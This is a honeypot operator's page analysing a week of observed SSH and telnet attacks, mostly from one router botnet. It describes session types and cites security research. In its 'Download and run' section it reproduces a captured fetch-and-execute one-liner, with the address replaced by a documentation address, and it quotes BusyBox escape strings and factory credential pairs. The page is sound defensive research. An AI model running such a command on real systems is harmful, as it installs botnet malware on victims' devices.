What is attacking this honeypot

This site runs a honeypot, a machine that exists to be attacked. Almost everything that attacks it is one router botnet, a crowd of infected machines taking orders from the same people.

The numbers written into this page cover the seven days from 9 to 15 October 2026 (UTC), and only what reached this one server. A session is one connection, from hello to hangup. An IP address is the number a machine is reached at on the internet, and the closest thing these visitors have to a name.

That week, 124 addresses running one botnet's loader, the program that logs in and installs the bot, made 98.4% of all the sessions that typed a command here. They also made 99.1% of the sessions in which every password guess failed. Everything else on this page is the rest of the internet, outnumbered.

Start with the router botnet: one real visit, replayed, with a note on every line. That week its median visit lasted about half a minute.

Then the SSH key backdoor, which is rarer and built to come back. An SSH key is a pair of files that logs you in without a password; the public half sits on the server, and this bot swaps in its own. Then password guessing, where the factory passwords these bots try are matched to the devices they came from.

If you own a router or a camera, the router botnet page says what to do. If you run a server with SSH, the SSH key backdoor page opens with a check for the key, then shows the fix.

What you are looking at

Nobody has a legitimate reason to use a honeypot, so in theory it should see no traffic at all, and whatever does turn up is most likely up to no good [1]. NIST puts it more sweetly: attractive to intruders "like honey is attractive to bears" [2].

This one runs cowrie, which pretends to be a Linux server and logs every login attempt and every command typed into it [3]. It listens on two ports, the numbered doors a machine's services answer on: 22 for SSH and 23 for telnet. Those two doors of this one server are all these pages count.

Both let you log in over the network and type into a shell, the prompt that runs your commands. Telnet sends the password as plain text; SSH is the encrypted replacement [4].

Who is on the other end? Mostly other victims. The two big botnet families here grow by having each infected machine break into the next one [6][7]. So an address on these pages usually belongs to someone's hacked router or server, not to the person running the show.

Nobody picked this server, either. Mirai showed how this works in 2016: scan the whole internet and try factory passwords on whatever answers [8]. What a honeypot on rented cloud space sees is "indiscriminate, Internet-wide automated activity against hosts that accept any credentials" [9]. This one comes close: it lets each new address in after a few guesses, whatever they are.

Can the bots tell it is a honeypot? Some can. SANS answered that question with a flat "Yes!" [10] They come anyway.

What they did once let in

Every session gets one type, decided by what it typed, or by what it did instead of typing. The list below counts the six types that typed commands, over the last seven days. It is rebuilt about once a minute, and each type links to its own page or to its section further down.

The router botnet's row also counts a few smaller families that behave the same way, so its numbers run higher than the one loader counted above.

The totals on this page count different things, so they do not add up to each other. They are connections, password guesses, guesses the honeypot let in, connections that left before guessing, and sessions that typed commands. Let in means let in by the rigged login above, not that a bot knew a password.

A type says what a session did. It does not say who sent it.

Download and run

The short version of a break-in: go to a folder, fetch a program with whatever download tool is there, make it runnable, run it. One line, no small talk.

cd /tmp;wget -qO d http://192.0.2.1:8080/wget.sh||curl -so d http://192.0.2.1:8080/wget.sh;chmod +x d;sh d push.mirai </dev/null >/dev/null 2>&1 &

Never run these commands. The address in it has been swapped for a documentation address. The push.mirai at the end is just a word it hands to its own script, and proves nothing about Mirai.

It is rare here: 35 sessions from 7 addresses that week. One of them fetched a cryptocurrency miner from a public code site. Another pushed its file in over the SSH connection itself.

One researcher ran an SSH honeypot for 153 days and puts it neatly. The way the file arrives changes, and so does the way it gets run, but the file landing on disk does not [11]. The honeypot blocks the downloads, which is why this section is short.

System survey

Logs in, asks what the machine is, leaves. Most often with one command:

uname -s -v -n -r -m

That prints the kernel's name, release and version, the hostname and the hardware type. This exact line was 39 of the week's 96 survey sessions.

It is everywhere. In a 2026 study of SSH honeypots, where almost every session after login was a single command and out, it was the most common one [9]. A SANS handler went through 1.2 million sessions on six DShield honeypots, from April 2022 to March 2026. There it was the third most common last command before a bot hung up [12].

Who sends it is harder. It turns up in the tools of Diicot, a group Cado Security (now part of Darktrace) describes as Romanian [13]. Bitdefender lists it first of the eight commands that the group's own SSH password guesser, which its author called Diicot brute, runs after login [14].

Later Diicot tools check the answer against a blocklist to decide whether to infect the machine at all. They also count its processors: with four or more they mine on it, with fewer they only use it to spread [13].

But an unattributed kit written up in 2026 opens with the same line [15], and something this common names nobody on its own. Other tools count processors, come back later with the same password, and may sell the login on [16].

The reports only guess at why a bot sends this one command and leaves. A 2026 study puts the most common single commands down to reconnaissance [9]. The same SANS handler suggests that a bot which thinks it has found a honeypot has no reason to stay [12].

The answer this honeypot gives includes cowrie's default hostname, svr04. A scan of 2.9 billion addresses found 3,149 of 3,174 cowrie honeypots still running default settings, which makes them easier to spot [17]. A site about default passwords, running a honeypot with the factory hostname. We know.

Shell check

Some routers and cameras do not drop you straight into Linux. They have a command menu of their own first, and bots type a run of words to get past it to a real shell. Researchers who studied telnet bot logs explain the classic four: enable gives access to privileged commands, system opens a menu of system management options, and shell and sh start a shell [18].

A shell check types those words and then goes quiet. A few go one step further and type /bin/busybox followed by a word in capitals. BusyBox is one small program that stands in for most standard Linux commands.

Mirai was named after two strings, /bin/busybox MIRAI and MIRAI: applet not found [19]. When a login worked, Mirai reported it to a server, and a separate program logged in later to do the infecting [8].

The word is how some variants got their names: Fortinet named WICKED after its /bin/busybox WICKED line [20]. That week bots here typed SORA, UNSTABLE, HISILICON and LZRD, among others. Trend Micro has written up Mirai variants called SORA and UNSTABLE [21], and Akamai one called LZRD [22], but the match is the name alone. The word is whatever the bot's author typed.

Most shell checks never get that far. They send the words and stop, and no report we found explains why.

Some bots type their escape words into the login prompt instead. That week the honeypot was offered enable as a username, with linuxshell as the password, 4,005 times.

Oddities

Things that fit nowhere else. That week, 38 sessions from 18 addresses, including:

• A web client that asked the telnet port for a web page. The honeypot read its request as a login, refused the first pair and let in the second, so a line announcing a browser was let in to a Linux server. That is the rigged login working exactly as designed.
• Phone system scanners sending SIP, the protocol internet phones use, to the same port. Their first two lines became a username and a password.
• A bot that scrambles everything it sends, so enable arrives as lghkel. Undo the scramble (every byte XORed with 9, which anyone can reverse) and it is the usual routine, down to /bin/busybox LZRD.
• A Python script typed into the telnet shell one line at a time. Every line went to the shell as a command. The shell does not speak Python.
• One bot stuck in a loop, typing the same handful of shell words over and over: 2,636 commands in a single session.

Left without guessing

Connects, then leaves before offering a username. That week there were 189,430 of these from 2,534 addresses, and 95.8% came from the 124 addresses running the router botnet's loader. So they are mostly its connections ending early, not a separate crowd of scanners. In all, 44,243 of the 189,430 closed in under a second.

Why they leave is not something this data can show.

Sources

1. Lance Spitzner, copy hosted by the University of Waterloo, "Honeypots: Definitions and Value of Honeypots", 29 May 2003. crysp.uwaterloo.ca
2. NIST Computer Security Resource Center, "honeypot (glossary entry)", read 16 October 2026. csrc.nist.gov
3. Cowrie project, "Cowrie SSH/Telnet Honeypot", read 16 October 2026. github.com
4. Canonical, Ubuntu Server documentation, "OpenSSH server", updated 2 October 2026. ubuntu.com
5. Cowrie project, source code, "src/cowrie/core/auth.py, the AuthRandom login rule", version 3.0.13, tagged 24 August 2026. github.com
6. Netlab 360 (Alex.Turing and Hui Wang), "Mozi, Another Botnet Using DHT", 23 December 2019. blog.netlab.360.com
7. Elastic Security Labs (Remco Sprooten and Ruben Groenewoud), "Outlaw Linux Malware: Persistent, Unsophisticated, and Surprisingly Effective", 1 April 2025. elastic.co
8. USENIX Security Symposium (Antonakakis et al.), "Understanding the Mirai Botnet", August 2017. usenix.org
9. arXiv (Valeros, Sladić and Garcia, Czech Technical University), "Ghost Without Shell: Measuring Non-Interactive SSH Attacks on Honeypots", 26 June 2026. arxiv.org
10. SANS Internet Storm Center (Johannes Ullrich), "More Honeypot Fingerprinting Scans", 8 April 2026. isc.sans.edu
11. Detection Chokepoints (Jenna Frank), "Linux Shared-Writable Staging to Execution (Land and Run)", updated 5 October 2026. iimp0ster.github.io
12. SANS Internet Storm Center (Jesse La Grew), "DShield (Cowrie) Honeypot Stats and When Sessions Disconnect", 30 March 2026. isc.sans.edu
13. Darktrace (Nate Bill, Cado Security), "Tracking Diicot: An Emerging Romanian Threat Actor", 15 June 2023. darktrace.com
14. Bitdefender, "How We Tracked a Threat Group Running an Active Cryptojacking Campaign", 14 July 2021. bitdefender.com
15. OHIIHO Research, "Watcher-NetAI / skn: a Linux SSH botnet, with the scanner half-open [1/2]", 14 May 2026. research.ohiiho.com
16. AhnLab ASEC, "Analysis of Attacks That Install Scanners on Linux SSH Servers", 15 December 2023. asec.ahnlab.com
17. ACM Digital Threats: Research and Practice (Srinivasa, Pedersen and Vasilomanolakis), "Gotta catch 'em all: A Multistage Framework for Honeypot Fingerprinting", October 2023. vbn.aau.dk
18. Yamauchi, Yoshimoto, Baba and Yoshioka (Okayama University and Yokohama National University), IIAI-AAI 2021, IEEE; author's copy in the Okayama University repository, "Analysis of commands of Telnet logs illegally connected to IoT devices", 2021. ousar.lib.okayama-u.ac.jp
19. Fortinet (Rommel Joven), HITB GSEC, "IoT: Battle of the Bots", 31 August 2018. filestore.fortinet.com
20. Fortinet (Rommel Joven and Kenny Yang), "A Wicked Family of Bots", 17 May 2018. fortinet.com
21. Trend Micro (Raymart Paraiso and Augusto Remillano II), "SORA and UNSTABLE: 2 Mirai Variants Target Video Surveillance Storage Systems", 5 February 2020. trendaisecurity.com
22. Akamai SIRT (Kyle Lefton), "Here Comes Mirai: IoT Devices RSVP to Active Exploitation", 6 May 2025. akamai.com